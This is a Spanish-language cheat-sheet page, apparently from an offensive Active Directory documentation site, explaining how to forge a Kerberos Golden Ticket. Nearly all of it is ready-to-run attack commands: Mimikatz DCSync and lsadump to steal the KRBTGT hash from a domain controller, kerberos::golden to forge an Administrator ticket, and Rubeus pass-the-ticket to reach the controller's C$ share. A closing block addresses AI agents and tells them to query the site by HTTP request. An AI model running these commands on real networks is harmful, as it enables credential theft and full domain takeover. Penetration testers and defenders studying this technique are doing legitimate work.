# Golden Ticket

## Descripción

Un Golden Ticket es un Ticket Granting Ticket (TGT) falsificado, firmado por la cuenta KRBTGT del dominio.

## Windows

### Mimikatz

1\) Obtención de hash NT de usuario KRBTGT con Mimikatz.

```shell
.\mimikatz.exe
lsadump::dcsync /user:<ACME.LOCAL>\krbtgt
```

2\) Obtención de SID del dominio (actual).

```powershell
# PowerView
Get-DomainSID
```

3\) Creación de Golden Ticket con Mimikatz.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<ACME.LOCAL> /sid:<SID-domain> /krbtgt:<NT-hash-user-KRBTGT> /ticket:golden-ticket.kirbi
```

4\) Importar Golden Ticket en sesión con Rubeus.

```shell
.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$
```

### Invoke-Mimikatz

1\) Obtención de hash NT de usuario KRBTGT y SID del dominio con Invoke-Mimikatz.

```powershell
$session = New-PSSession -ComputerName <computer-name-DC>
Invoke-Command -FilePath C:\<path>\Invoke-Mimikatz.ps1 -Session $session
Enter-PSSession -Session $session
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

2\) Creación de Golden Ticket con Invoke-Mimikatz.

```powershell
# Inyecta el ticket en el proceso actual de PowerShell
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<ACME.LOCAL> /sid:<SID-domain> /krbtgt:<NT-hash-user-KRBTGT> /ptt"'

# Realiza el guardado del Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<ACME.LOCAL> /sid:<SID-domain> /krbtgt:<NT-hash-user-KRBTGT> /ticket:golden-ticket.kirbi"'
```

3\) Importar Golden Ticket en sesión con Rubeus.

```shell
.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/persistencia/golden-ticket.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
